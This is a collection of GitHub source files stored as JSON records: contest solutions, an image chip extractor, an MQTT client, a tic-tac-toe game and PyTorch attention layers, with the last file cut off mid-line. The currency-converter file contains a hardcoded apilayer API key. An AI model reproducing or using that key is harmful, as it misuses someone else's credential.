+{"seq_id":"23588533641","text":"file = open(\"C-small-1-attempt0.in\", \"r\")\r\n# t = int(file.readline().strip(\"\\n\"))\r\nt = int(input().strip())\r\nfile_out = open(\"output.out\", \"w\")\r\n\r\nrisultato = \"\"\r\nfor m in range(t):\r\n # n, k = [int(x) for x in file.readline().strip(\"\\n\").split(\" \")]\r\n n, k = [int(x) for x in input().strip().split(\" \")]\r\n # u = float(file.readline().strip(\"\\n\"))\r\n u = float(input().strip())\r\n # p = sorted([float(x) for x in file.readline().strip(\"\\n\").split(\" \")])\r\n p = sorted([float(x) for x in input().strip().split(\" \")])\r\n fine = False\r\n i = 1\r\n while not fine:\r\n prob_media = (sum(p[:i]) + u) / i\r\n if i == len(p) or prob_media <= p[i]: fine = True\r\n else: i += 1\r\n prob = prob_media ** i\r\n for j in range(i, len(p)): prob *= p[j] \r\n risultato += \"Case #\" + str(m + 1) + \": \" + str(prob) + (\"\\n\" if m != t - 1 else \"\")\r\n \r\nprint(risultato)\r\n# file_out.write(risultato)\r\n# file_out.close()\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_211/286.py","file_name":"286.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"23561921471","text":"import sys\n\n\ndef print_case(n, solution):\n print(\"Case #{}: {}\".format(n, solution))\n\n\ndef is_tidy(number):\n str_num = str(number)\n for i in reversed(range(1, len(str_num))):\n if str_num[i] < str_num[i-1]:\n return False\n return True\n\ndef last_tidy_number(N):\n while not is_tidy(N):\n N -= 1\n\n return N\n\ndef first_come_down(N):\n str_num = str(N)\n for i in range(len(str_num)-1):\n if str_num[i] > str_num[i+1]:\n return i+1\n return -1\n\n\ndef subtract_rightmost(N, index):\n to_subtract = int(str(N)[index:])\n return N - to_subtract - 1\n\ndef last_tidy_number_optimized(N):\n while not is_tidy(N):\n i = first_come_down(N)\n if i > -1:\n N = subtract_rightmost(N, i)\n else:\n N -= 1\n\n return N\n\nif __name__ == '__main__':\n lines = sys.stdin.readlines()\n T = int(lines[0])\n\n\n i = 1\n while i <= T:\n N = int(lines[i])\n\n # print(subtract_rightmost(43111, 1))\n # print( first_come_down(N))\n print_case(i, last_tidy_number_optimized(N))\n i += 1\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/4552.py","file_name":"4552.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"71037129155","text":"import numpy as np\nfrom PIL import Image\nimport os\nfrom collections import Counter\n\nfrom chipextractor.utils import *\n\n\nclass Dataset:\n\n def __init__(self, root, suffix='PNG', outlier_threshold=10, *args, **kwargs):\n self.data = []\n for path, _, flist in os.walk(root):\n for fname in flist:\n if fname.endswith(suffix):\n filename = os.path.join(path, fname)\n scrshot = Screenshot.from_file(filename, *args, **kwargs)\n scrshot.filename = filename\n self.data.append(scrshot)\n _, self.info = self.collective_refine_inplace(self.data, outlier_threshold)\n\n @property\n def colorful_chips(self):\n chip_list = []\n for scrshot in self:\n chip_list.extend(scrshot.colorful_chips)\n return chip_list\n\n @property\n def chips(self):\n chip_list = []\n for scrshot in self:\n chip_list.extend(scrshot.chips)\n return chip_list\n\n def __len__(self):\n return len(self.data)\n\n def __getitem__(self, item):\n return self.data[item]\n\n @staticmethod\n def collective_refine_inplace(screenshots, outlier_threshold=10):\n height_counter = Counter()\n width_counter = Counter()\n for scrshot in screenshots:\n height_counter.update(scrshot.coords[:, 2])\n width_counter.update(scrshot.coords[:, 3])\n h = height_counter.most_common(1)[0][0]\n w = width_counter.most_common(1)[0][0]\n for scrshot in screenshots:\n _ = scrshot.refine_segments(h, w, outlier_threshold)\n info = {'height_counter': height_counter, 'width_counter': width_counter}\n return info\n\n\nclass Screenshot:\n\n _weights = np.array([.2125, .7152, .0722]) # RGB2Gray\n\n def __init__(self, raw_img, resize_height=800,\n threshold=.35, fill_max_margin=5,\n min_interval_length=5):\n w, h = raw_img.size\n resize_w = int(w * resize_height // h)\n raw_img = raw_img.resize([resize_w, resize_height], Image.ANTIALIAS)\n self.raw_img = raw_img\n img = np.array(raw_img, dtype=float) / 255.\n img = img @ self._weights\n self.img = img\n _, self.coords = self.extract(threshold, fill_max_margin, min_interval_length)\n\n def __len__(self):\n return len(self.coords)\n\n def __getitem__(self, item):\n x, y, h, w = self.coords[item]\n return self.img[x:x+h, y:y+w].copy()\n\n @property\n def colorful_chips(self):\n chip_list = []\n for x, y, h, w in self.coords:\n chip_list.append(np.array(self.raw_img)[x:x+h, y:y+w])\n return chip_list\n\n @property\n def chips(self):\n chip_list = []\n for x, y, h, w in self.coords:\n chip_list.append(self.img[x:x+h, y:y+w].copy())\n return chip_list\n\n @classmethod\n def from_file(cls, fname, *args, **kwargs):\n raw_img = Image.open(fname)\n return cls(raw_img, *args, **kwargs)\n\n def extract(self, threshold=.35, fill_max_margin=5, min_interval_length=5):\n strips, indices_v = extract_strips(self.img, threshold, fill_max_margin)\n chips = []\n coords = []\n for strip, (y0, y1) in zip(strips, indices_v):\n sub_chips, indices_h = split_strip(strip, threshold,\n fill_max_margin,\n min_interval_length)\n for chip, (x0, x1) in zip(sub_chips, indices_h):\n chips.append(chip)\n coords.append([x0, y0, x1-x0, y1-y0])\n coords = np.asarray(coords)\n return chips, coords\n\n def refine_segments(self, height, width, outlier_threshold=10):\n diff = self.coords[:, 2:] - np.array([height, width])\n invalid_idx = np.any(diff > outlier_threshold, axis=1)\n self.coords = self.coords[~invalid_idx].copy()\n self.coords[:, 2] = height\n self.coords[:, 3] = width\n return self.chips\n\n\ndef extract_strips(img, threshold=.35, fill_max_margin=5):\n h, w = img.shape\n t, b = int(h * .2), int(h * .8)\n mask_arr = img[t:b].min(axis=0) > threshold\n mask_arr = fill_blanks(mask_arr, max_margin=fill_max_margin)\n intervals = consecutive(np.where(~mask_arr)[0])\n strips = []\n indices = []\n for a, *_, b in intervals[1:-1]:\n strips.append(img[:, a:b + 1].copy())\n indices.append((a, b+1))\n return strips, indices\n\n\ndef split_strip(strip, threshold=.35, fill_max_margin=5, min_length=5):\n mask_arr = fill_blanks(strip.min(axis=1) > threshold, fill_max_margin)\n intervals = consecutive(np.where(mask_arr)[0])\n # filter out small intervals (noise)\n intervals = [x for x in intervals if len(x) > min_length]\n # find the middle margin\n midline_idx = np.argmin(np.abs([x[len(x) // 2] - strip.shape[0] // 2\n for x in intervals]))\n if midline_idx == 0:\n # bottom chip\n t2 = intervals[0][-1] + 1\n b2 = intervals[1][0]\n h = b2 - t2\n # top chip\n b1 = intervals[0][0]\n t1 = b1 - h\n chips = [strip[t2:b2]]\n indices = [(t2, b2)]\n if t1 >= 0: # out of boundary?\n chips.append(strip[t1:b1])\n indices.append((t1, b1))\n chips = chips[::-1]\n indices = indices[::-1]\n elif midline_idx > 0:\n # top chip\n t1 = intervals[midline_idx - 1][-1] + 1\n b1 = intervals[midline_idx][0]\n h = b1 - t1\n # bottom chip\n t2 = intervals[midline_idx][-1] + 1\n b2 = t2 + h\n chips = [strip[t1:b1]]\n indices = [(t1, b1)]\n if b2 <= strip.shape[0]:\n chips.append(strip[t2:b2])\n indices.append((t2, b2))\n else:\n raise NotImplementedError\n return chips, indices\n","repo_name":"yzhang1918/ChipSolver","sub_path":"chipextractor/image_process.py","file_name":"image_process.py","file_ext":"py","file_size_in_byte":5880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"2140916101","text":"import requests\n\"\"\"\nAPI key - 9YzmAOEyGS7fxZRxXGriFM1NK5SUyQzK\n\nhttps://apilayer.com/marketplace/exchangerates_data-api#documentation-tab\n\n\"\"\"\n\n\ndef currency_converter(data):\n try:\n curr_amt = data['queryResult']['parameters']['unit-currency']['amount']\n\n convert = data['queryResult']['parameters']['unit-currency']['currency']\n\n into = data['queryResult']['parameters']['currency-name'][0]\n\n url = f\"https://api.apilayer.com/exchangerates_data/convert?to={into}&from={convert}&amount={curr_amt}\"\n headers = {\n \"apikey\": \"9YzmAOEyGS7fxZRxXGriFM1NK5SUyQzK\"\n }\n response = requests.request(\"GET\", url, headers=headers, data={})\n print(\"-------API RESPONSE-------\")\n print(response.text)\n print(\"-------API RESPONSE-------\")\n\n converted_amt = round(response.json()[\"result\"], 2)\n\n result = {\n 'fulfillmentText': f\"{curr_amt} {convert} is {converted_amt} {into}\"\n }\n\n return result\n\n except KeyError:\n return {\n 'fulfillmentText': \"My abilities didn't allow me to do that this time. try again? :(\"\n }\n\n\n\n\n","repo_name":"Ruhil-DS/Easy-Life-Chatbot","sub_path":"Application/Currency.py","file_name":"Currency.py","file_ext":"py","file_size_in_byte":1153,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"30562159523","text":"# COMP216 W2022 | SEC.001 - Group 3\n# Final Project - Subscriber\n# April 20, 2022\n# Participants:\n# Alvarado, Bernadette\n# Ariza Bustos, Luz\n# De Guzman, Marc Louis Gene\n# Duquinal, Apple Coleene\n# Pinlac, Dean Carlo\n# Non-Participants:\n# None\n\nfrom tkinter import *\nfrom tkinter import Tk, Canvas, Frame, W\nfrom tkinter import messagebox\nfrom tkinter.ttk import *\nimport paho.mqtt.client as mqtt\nimport json\n\nclass TempClient(Tk):\n def __init__(self):\n super().__init__()\n self.title('Group3 - Sensor Client')\n self.create_vars()\n\n # Initialize UI\n self.initUI()\n\n # Initialize MQTT connection\n mqttc = mqtt.Client()\n mqttc.on_connect = self.on_connect\n mqttc.on_disconnect = self.on_disconnect\n mqttc.on_message = self.on_message\n mqttc.on_subscribe = self.on_subscribe\n mqttc.on_unsubscribe = self.on_unsubscribed\n self.__mqttc = mqttc\n\n def on_disconnect(self, mqrrc, userdata, rc):\n print('Disconnected.. \\n Return code: ' + str(rc))\n\n def on_unsubscribed(self, mqttc, userdata, mid, granted_qos):\n print('Unsubscribed')\n\n def update_data(self, packetId, interval, newTemp):\n # Check if there is lost transmission\n lost = (packetId - self.__lastReceived) > (interval * 1000 * 1.1)\n if (self.__lastReceived > 0 and lost):\n print('Missing Detected!')\n miss = self.__missing.get()\n self.__missing.set(miss + 1)\n\n self.__lastReceived = packetId\n\n # Wild Data is not added to dataset\n if (newTemp < -40 or newTemp > 40):\n print('Wild Detected!')\n wild = self.__wild.get()\n self.__wild.set(wild + 1)\n return\n \n if(len(self.__data) >= 20):\n self.__data.pop(0)\n\n self.__data.append(newTemp)\n\n # Method to Display Rectangles and Lines\n self.canv.delete('all')\n self.displayLines()\n self.displayData()\n\n def create_styles(self, parent=None):\n style = Style()\n style.configure('TFrame', background='#c8e6d3')\n style.configure('TLabel', background='#c8e6d3')\n\n def create_vars(self):\n self.__data = []\n self.__sensorName = StringVar()\n self.__packetId = StringVar(value='000000000000')\n self.__name = StringVar(value='Sensor Name')\n self.__temp = DoubleVar(value=0)\n self.__ipv4 = StringVar(value='0.0.0.0')\n self.__wild = IntVar(value=0)\n self.__missing = IntVar(value=0)\n self.__lastReceived = -1\n self.__button_name = StringVar(value='Start')\n\n # dropdown options\n self.__sensors_name = [\"sensor1\", \"sensor2\", \"sensor3\"]\n\n def initUI(self):\n\n Canvas(width=860, height=280).pack()\n container = Frame(self, padding=(5, 5))\n container.place(relx=0.015, rely=0.02, relheight=0.96, relwidth=0.97)\n Label(container, text='Temperature Client', font='Arial 12 bold').place(relx=0.33, height=30)\n Label(container, text='PacketID: ').place(relx=0.7, rely=0.15)\n Label(container, textvariable=self.__packetId).place(relx=0.85, rely=0.15)\n Label(container, text='Name: ').place(relx=0.7, rely=0.25)\n Label(container, textvariable=self.__name).place(relx=0.85, rely=0.25)\n Label(container, text='IPv4: ').place(relx=0.7, rely=0.35)\n Label(container, textvariable=self.__ipv4).place(relx=0.85, rely=0.35)\n Label(container, text='Temperature: ').place(relx=0.7, rely=0.45)\n Label(container, textvariable=self.__temp).place(relx=0.85, rely=0.45)\n Label(container, text='Wild Data: ').place(relx=0.7, rely=0.55)\n Label(container, textvariable=self.__wild).place(relx=0.85, rely=0.55)\n Label(container, text='Missing: ').place(relx=0.7, rely=0.65)\n Label(container, textvariable=self.__missing).place(relx=0.85, rely=0.65)\n topicOptions = Combobox(container, values=self.__sensors_name, textvariable=self.__sensorName, width=10)\n topicOptions.place(relx=0.7, rely=0.85)\n topicOptions.current(0)\n self.startButton = Button(textvariable=self.__button_name, command=self.btn_on_click).place(relx=0.83, rely=0.82)\n # Initialize Canvas\n self.canv = Canvas(self)\n self.canv.place(relx=0.05, rely=0.24, width=500, height=180)\n\n # Initialize Start Value\n self.create_styles()\n\n def btn_on_click(self):\n if self.__button_name.get() == 'Start':\n # Set States\n self.__button_name.set('Stop')\n self.__data.clear()\n self.__lastReceived = -1\n self.__wild.set(0)\n self.__missing.set(0)\n # Connect to Mqtt broker on specified host and port\n self.__mqttc.connect(host='localhost', port=1883)\n self.__mqttc.loop_start()\n print('Starting:', self.__sensorName.get())\n else:\n self.__button_name.set('Start')\n self.__mqttc.unsubscribe(topic=self.__sensorName.get())\n self.__mqttc.loop_stop()\n\n def on_connect(self, mqttc, userdata, flags, rc):\n print('Connected.. \\n Return code: ' + str(rc))\n mqttc.subscribe(topic=self.__sensorName.get(), qos=0)\n\n def on_message(self, mqttc, userdata, msg):\n # print('\"\\n------ Received Message ------\\n\"')\n # print('Topic: ' + msg.topic + ', Message: ' + str(msg.payload))\n message = json.loads(msg.payload)\n self.__packetId.set(message['packetId'])\n self.__name.set(message['name'])\n self.__temp.set(message['temp'])\n self.__ipv4.set(message['ipv4'])\n self.update_data(message['packetId'], message['interval'], message['temp'])\n\n def on_subscribe(self, mqttc, userdata, mid, granted_qos):\n print('Subscribed')\n \n def displayLines(self):\n self.canv = Canvas(self)\n self.canv.place(relx=0.1, rely=0.24, width=500, height=180)\n\n lineHeight = 10\n textDisplay = 22\n for _ in range(4):\n self.canv.create_text(25, lineHeight, anchor=W, font='Arial 7', text=textDisplay)\n self.canv.create_line(45, lineHeight, 65, lineHeight)\n self.canv.create_line(50, lineHeight+20, 65, lineHeight+20)\n lineHeight += 40\n textDisplay -= 1\n\n self.canv.create_text(25, lineHeight, anchor=W, font='Arial 7', text=textDisplay)\n self.canv.create_line(45, lineHeight, 65, lineHeight)\n\n def displayData(self):\n spacing = 70\n prevY = 0\n data_count = len(self.__data)\n for i in range(data_count):\n full = 170 - 10\n relative = (self.__data[i] - 18) / (22 - 18)\n height = 170 - (relative * full)\n \n # Line - No line if data is less than 2 counts\n if(i > 0):\n self.canv.create_line(spacing, prevY, spacing + 20, height)\n \n spacing += 20\n prevY = height\n\nif __name__ == '__main__':\n sts = TempClient()\n sts.mainloop()","repo_name":"Deaniesaur/COMP216_Project_Group3","sub_path":"group_3_subscriber.py","file_name":"group_3_subscriber.py","file_ext":"py","file_size_in_byte":7062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"13058964359","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nx = np.linspace(0, 5, 11)\ny = x ** 2\n\n# ---------------------------------------\n# Easiest approach\n# ---------------------------------------\n\n# set the current subplot\nplt.subplot(nrows=1, ncols=2, index=1)\n\n# add the plot to subplot\nplt.plot(x, y)\n\n# set the current subplot\nplt.subplot(nrows=1, ncols=2, index=2)\n\n# add the plot to subplot\nplt.plot(y, x)\n\n# add description for current plot\nplt.xlabel(\"X\")\nplt.ylabel(\"Y\")\nplt.title(\"Title\")\n\n# Show the plot\nplt.show()\n","repo_name":"lukaskellerstein/PythonSamples","sub_path":"50_libraries/2_matplotlib/0_without_GUI/1_subplots/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"25076302642","text":"# 2022/10/p2.py\n\nimport json\nimport time\n\nfrom p1 import parse_input\n\n\ndef convert_letter_pixels_to_key(letter_source):\n\tbin_char = 0\n\tfor r_i, q in enumerate(letter_source):\n\t\tnibble = 0\n\t\tfor p_i, p in enumerate(q):\n\t\t\tnibble += p << p_i\n\n\t\tbin_char += nibble << (r_i * 4)\n\n\treturn str(bin_char)\n\ndef convert_screen_to_letter_pixels(screen):\n\tletter_count = int(len(screen[0]) / 5)\n\n\tletters = [[screen[r][l_i*5:(l_i*5)+4] for r in range(len(screen))] for l_i in range(letter_count)]\n\n\treturn letters\n\ndef parse_letter(letter_source, chars):\n\tbin_char = convert_letter_pixels_to_key(letter_source)\n\n\tif bin_char in chars.keys():\n\t\treturn chars[bin_char]\n\telse:\n\t\treturn '?'\n\ndef execute(lkpfn, infn):\n\tmachine = parse_input(infn)\n\n\twith open(lkpfn, 'r') as f:\n\t\tchars = json.loads(f.read())\n\n\tscreen = []\n\n\tline = []\n\n\twhile machine.unfinished():\n\t\t(count, pixel), registers = machine.tick()\n\n\t\tline.append(1 if pixel else 0)\n\n\t\tif count % 40 == 0:\n\t\t\tscreen.append(line)\n\t\t\tline = []\n\n\tletters = [parse_letter(l, chars) for l in convert_screen_to_letter_pixels(screen)]\n\n\treturn ''.join(letters)\n\ndef main(lkpfn, infn):\n\tpre = time.perf_counter()\n\n\tresult = execute(lkpfn, infn)\n\n\tpost = time.perf_counter()\n\n\tprint(result, 'in', '{:.2f}'.format((post - pre) * 1000), 'ms')\n\nif __name__ == '__main__':\n\tmain('part_2_lookup', 'test2.txt')\n\tmain('part_2_lookup', 'input.txt')\n","repo_name":"andrew-hardwick/advent-of-code","sub_path":"2022/10/p2.py","file_name":"p2.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"31941080356","text":"import pygame\nimport sys\nfrom ai import choice_ai\n\ndef fields_list(background, y) -> list:\n list_rect = []\n for i in range(3):\n for j in range(3):\n rect = pygame.draw.rect(background, (220,220,220), ((y+5)*i,(y+5)*j, y, y))\n list_rect.append(rect)\n return list_rect\n\ndef add_field_value(background, y) -> list:\n map = []\n for i in range(3):\n for j in range(3):\n rect = pygame.draw.rect(background, (220,220,220), ((y+5)*i,(y+5)*j, y, y))\n map.append([rect, 0])\n return map\n\ndef change_field_value(rect, map, n):\n for i in map:\n if i[0] == rect:\n i[1] = n\n\ndef is_winning(map, n):\n for j in range(0,7,3):\n if map[0+j][1] ==n and map[1+j][1]==n and map[2+j][1] ==n:\n return True\n for j in range(3):\n if map[0+j][1] ==n and map[3+j][1]==n and map[6+j][1] ==n:\n return True\n for j in range(0,3,2):\n if map[0+j][1] ==n and map[4][1]==n and map[8-j][1] ==n:\n return True\n \ndef draw_cross(background, center_point):\n pygame.draw.lines(background, (0,0,0), False, \n [[center_point[0]-45,center_point[1]-45], \n center_point, \n [center_point[0]-45, center_point[1]+45], \n center_point, \n [center_point[0]+45, center_point[1]-45],\n center_point, \n [center_point[0]+45, center_point[1]+45]], 8)\n\ndef draw_circle(background, center_point):\n pygame.draw.circle(background, (0,0,0), center_point, 45, 7)\n\ndef initialize_background(background, y):\n background.fill((0, 0, 0))\n list_rect = fields_list(background, y)\n map = add_field_value(background, y)\n counter = 0\n return list_rect, map, counter \n\ndef main():\n pygame.init()\n x = 600\n y = x/3\n screen = pygame.display.set_mode((x, x))\n background = pygame.Surface(screen.get_size())\n background = background.convert()\n list_rect, map, counter = initialize_background(background, y)\n while 1:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n if is_winning(map, 1) == True:\n background.fill((220,220,220))\n text = pygame.font.Font.render(pygame.font.SysFont(\"Dyuthi\", 42), 'Congratulations, you won!', True, (0,0,0))\n background.blit(text, (x/6, x/2))\n if event.type == pygame.MOUSEBUTTONDOWN:\n list_rect, map, counter = initialize_background(background, y)\n elif is_winning(map, -1) == True:\n background.fill((220,220,220))\n text = pygame.font.Font.render(pygame.font.SysFont(\"Dyuthi\", 42), 'Your enemy won the game!', True, (0,0,0))\n background.blit(text, (x/6, x/2))\n if event.type == pygame.MOUSEBUTTONDOWN:\n list_rect, map, counter = initialize_background(background, y)\n elif counter == 9:\n background.fill((220,220,220))\n text = pygame.font.Font.render(pygame.font.SysFont(\"Dyuthi\", 42), f'Looser', True, (0,0,0))\n background.blit(text, (x/6, x/2))\n if event.type == pygame.MOUSEBUTTONDOWN:\n list_rect, map, counter = initialize_background(background, y)\n elif counter < 9:\n try:\n if event.type == pygame.MOUSEBUTTONDOWN:\n if (counter%2)==0:\n for rect in list_rect:\n if pygame.Rect.collidepoint(rect, pygame.mouse.get_pos()):\n counter += 1\n draw_cross(background, rect.center)\n change_field_value(rect, map, 1)\n new_list = list_rect\n new_list.remove(rect)\n random_rect = choice_ai(map, new_list)\n elif event.type == pygame.MOUSEBUTTONUP:\n if (counter%2)!=0:\n for rect in new_list:\n if pygame.Rect.colliderect(rect, random_rect):\n counter += 1\n draw_circle(background, rect.center)\n change_field_value(rect, map, -1)\n new_list.remove(rect)\n except:\n break \n screen.blit(background, (0, 0))\n pygame.display.flip()\n\nif __name__ == '__main__':\n main()","repo_name":"A-Dabek/TIC-TAC-TOE","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"43123539601","text":"import torch\nfrom torch import nn\nfrom torch.nn import functional as f\nimport math\n\n\nclass EfficientAttention(nn.Module):\n\n def __init__(self, in_channels, key_channels, head_count, value_channels):\n super().__init__()\n self.in_channels = in_channels\n self.key_channels = key_channels\n self.head_count = head_count\n self.value_channels = value_channels\n\n self.keys = nn.Conv1d(in_channels, key_channels, 1)\n self.queries = nn.Conv1d(in_channels, key_channels, 1)\n self.values = nn.Conv1d(in_channels, value_channels, 1)\n self.reprojection = nn.Conv1d(value_channels, in_channels, 1)\n\n def forward(self, input_):\n B, channel_dim, L = input_.size()\n keys = self.keys(input_)\n queries = self.queries(input_)\n values = self.values(input_)\n head_key_channels = self.key_channels // self.head_count\n head_value_channels = self.value_channels // self.head_count\n\n attended_values = []\n for i in range(self.head_count):\n key = f.softmax(keys[\n :,\n i * head_key_channels: (i + 1) * head_key_channels,\n :\n ], dim=2)\n query = f.softmax(queries[\n :,\n i * head_key_channels: (i + 1) * head_key_channels,\n :\n ], dim=1)\n value = values[\n :,\n i * head_value_channels: (i + 1) * head_value_channels,\n :\n ]\n context = key @ value.transpose(1, 2)\n attended_value = (\n context.transpose(1, 2) @ query\n ).reshape(B, head_value_channels, L)\n attended_values.append(attended_value)\n\n aggregated_values = torch.cat(attended_values, dim=1)\n reprojected_value = self.reprojection(aggregated_values)\n attention = reprojected_value + input_\n\n return attention #(B, channel, L)\n\nclass LinearTranformerEncodeLayer(nn.Module):\n def __init__(self, channels, head_count, dim_feedforward=64, dropout=0.1):\n super().__init__()\n self.head_count = head_count\n\n self.linear1 = nn.Linear(channels, dim_feedforward)\n self.dropout = nn.Dropout(dropout)\n self.linear2 = nn.Linear(dim_feedforward, channels)\n\n # self.norm_first = norm_first\n self.norm1 = nn.LayerNorm(channels)\n self.norm2 = nn.LayerNorm(channels)\n self.dropout1 = nn.Dropout(dropout)\n self.dropout2 = nn.Dropout(dropout)\n self.activation = nn.GELU()\n\n self.sa_block = EfficientAttention(\n in_channels=channels,\n key_channels=channels,\n head_count=head_count,\n value_channels=channels\n )\n\n def forward(self, input_):\n x = input_\n x = self.norm1(self.sa_block(x).permute(0,2,1)) #(B,channel,L)->(B,L,channel)\n x = self.norm2(x + self._ff_block(x)).permute(0,2,1) #(B,L,channel)->(B,channel,L)\n return x\n\n def _ff_block(self, x):\n x = self.linear2(self.dropout(self.activation(self.linear1(x))))\n return self.dropout2(x)\n\n\nclass NysAttention(nn.Module):\n def __init__(\n self,\n dim,\n num_heads=8,\n in_dim=None,\n qkv_bias=False,\n qk_scale=None,\n attn_drop=0.,\n proj_drop=0.,\n num_landmarks=64,\n kernel_size=0,\n init_option = \"exact\"\n ):\n super().__init__()\n self.num_heads = num_heads\n self.in_dim = in_dim\n head_dim = dim // num_heads\n self.scale = head_dim ** 0.5\n self.landmarks = num_landmarks\n self.kernel_size = kernel_size\n self.init_option = init_option\n\n self.qkv = nn.Linear(dim, in_dim * 3, bias=qkv_bias)\n self.attn_drop = nn.Dropout(attn_drop)\n self.proj = nn.Linear(in_dim, in_dim)\n self.proj_drop = nn.Dropout(proj_drop)\n\n if self.kernel_size > 0:\n self.conv = nn.Conv2d(\n in_channels = self.num_heads, out_channels = self.num_heads,\n kernel_size = (self.kernel_size, 1), padding = (self.kernel_size // 2, 0),\n bias = False,\n groups = self.num_heads)\n\n def iterative_inv(self, mat, n_iter = 6):\n I = torch.eye(mat.size(-1), device = mat.device)\n K = mat\n\n # The entries of K are positive and ||K||_{\\infty} = 1 due to softmax\n if self.init_option == \"original\":\n # This original implementation is more conservative to compute coefficient of Z_0.\n V = 1 / torch.max(torch.sum(K, dim = -2)) * K.transpose(-1, -2)\n else:\n # This is the exact coefficient computation, 1 / ||K||_1, of initialization of Z_0, leading to faster convergence.\n V = 1 / torch.max(torch.sum(K, dim = -2), dim = -1).values[:, :, None, None] * K.transpose(-1, -2)\n\n for _ in range(n_iter):\n KV = torch.matmul(K, V)\n V = torch.matmul(0.25 * V, 13 * I - torch.matmul(KV, 15 * I - torch.matmul(KV, 7 * I - KV)))\n return V\n\n def forward(self, x, attn_mask=None):\n B, N, C = x.shape\n # qkv = self.qkv(x).reshape(B, N, 3, self.num_heads, self.in_dim).permute(2, 0, 3, 1, 4)\n qkv = self.qkv(x).reshape(B, N, 3, self.num_heads, self.in_dim//self.num_heads).permute(2, 0, 3, 1, 4)\n q, k, v = qkv[0], qkv[1], qkv[2]\n q /= self.scale\n\n keys_head_dim = k.size(-1)\n segs = N // self.landmarks\n if (N % self.landmarks == 0):\n keys_landmarks = k.reshape(B, self.num_heads, self.landmarks, N // self.landmarks, keys_head_dim).mean(dim = -2)\n queries_landmarks = q.reshape(B, self.num_heads, self.landmarks, N // self.landmarks, keys_head_dim).mean(dim = -2)\n else:\n num_k = (segs + 1) * self.landmarks - N\n keys_landmarks_f = k[:, :, :num_k * segs, :].reshape(B, self.num_heads, num_k, segs, keys_head_dim).mean(dim = -2)\n keys_landmarks_l = k[:, :, num_k * segs:, :].reshape(B, self.num_heads, self.landmarks - num_k, segs + 1, keys_head_dim).mean(dim = -2)\n keys_landmarks = torch.cat((keys_landmarks_f, keys_landmarks_l), dim = -2)\n\n queries_landmarks_f = q[:, :, :num_k * segs, :].reshape(B, self.num_heads, num_k, segs, keys_head_dim).mean(dim = -2)\n queries_landmarks_l = q[:, :, num_k * segs:, :].reshape(B, self.num_heads, self.landmarks - num_k, segs + 1, keys_head_dim).mean(dim = -2)\n queries_landmarks = torch.cat((queries_landmarks_f, queries_landmarks_l), dim = -2)\n\n kernel_1 = torch.nn.functional.softmax(torch.matmul(q, keys_landmarks.transpose(-1, -2)), dim = -1)\n kernel_2 = torch.nn.functional.softmax(torch.matmul(queries_landmarks, keys_landmarks.transpose(-1, -2)), dim = -1)\n kernel_3 = torch.nn.functional.softmax(torch.matmul(queries_landmarks, k.transpose(-1, -2)), dim = -1)\n x = torch.matmul(torch.matmul(kernel_1, self.iterative_inv(kernel_2)), torch.matmul(kernel_3, v))\n\n if self.kernel_size > 0:\n x += self.conv(v)\n\n x = x.transpose(1, 2).reshape(B, N, self.in_dim)\n x = self.proj(x)\n x = self.proj_drop(x)\n # x = v.squeeze(1) + x\n return x\n\nclass NystromformerEncodeLayer(nn.Module):\n def __init__(self, channels, head_count, num_landmarks, dim_feedforward=64, dropout=0.1):\n super().__init__()\n self.head_count = head_count\n\n self.linear1 = nn.Linear(channels, dim_feedforward)\n self.dropout = nn.Dropout(dropout)\n self.linear2 = nn.Linear(dim_feedforward, channels)\n\n # self.norm_first = norm_first\n self.norm1 = nn.LayerNorm(channels)\n self.norm2 = nn.LayerNorm(channels)\n self.dropout1 = nn.Dropout(dropout)\n self.dropout2 = nn.Dropout(dropout)\n self.activation = nn.GELU()\n\n self.sa_block = NysAttention(\n dim=channels,\n num_heads=head_count,\n in_dim=channels,\n num_landmarks=num_landmarks,\n kernel_size=3\n )\n\n def forward(self, input_):\n x = input_\n x = self.norm1(self.sa_block(x.permute(0,2,1))) #(B,channel,L)->(B,L,channel)\n x = self.norm2(x + self._ff_block(x)).permute(0,2,1) #(B,L,channel)->(B,channel,L)\n return x\n\n def _ff_block(self, x):\n x = self.linear2(self.dropout(self.activation(self.linear1(x))))\n return self.dropout2(x)\n\nclass LinformerAttention(nn.Module):\n projection_matrix = None\n\n def __init__(\n self,\n seq_len,\n in_dim=64,\n num_heads=8,\n qkv_bias=False,\n proj_drop=0.,\n linformer_k=128\n ):\n super().__init__()\n\n self.num_heads = num_heads\n self.in_dim = in_dim\n self.linformer_k = linformer_k\n self.seq_len = seq_len\n self.head_dim = self.in_dim // self.num_heads\n self.scale = self.head_dim ** 0.5\n self.qkv = nn.Linear(in_dim, in_dim * 3, bias=qkv_bias)\n self.proj = nn.Linear(in_dim, in_dim)\n self.proj_drop = nn.Dropout(proj_drop)\n\n if LinformerAttention.projection_matrix is not None:\n self.E = LinformerAttention.projection_matrix\n else:\n LinformerAttention.projection_matrix = nn.Parameter(torch.Tensor(self.num_heads, self.linformer_k, self.seq_len))\n torch.nn.init.normal_(LinformerAttention.projection_matrix, std = 0.02)\n self.E = LinformerAttention.projection_matrix\n\n def forward(self, x):\n B, N, C = x.shape\n qkv = self.qkv(x).reshape(B, N, 3, self.num_heads, self.head_dim).permute(2, 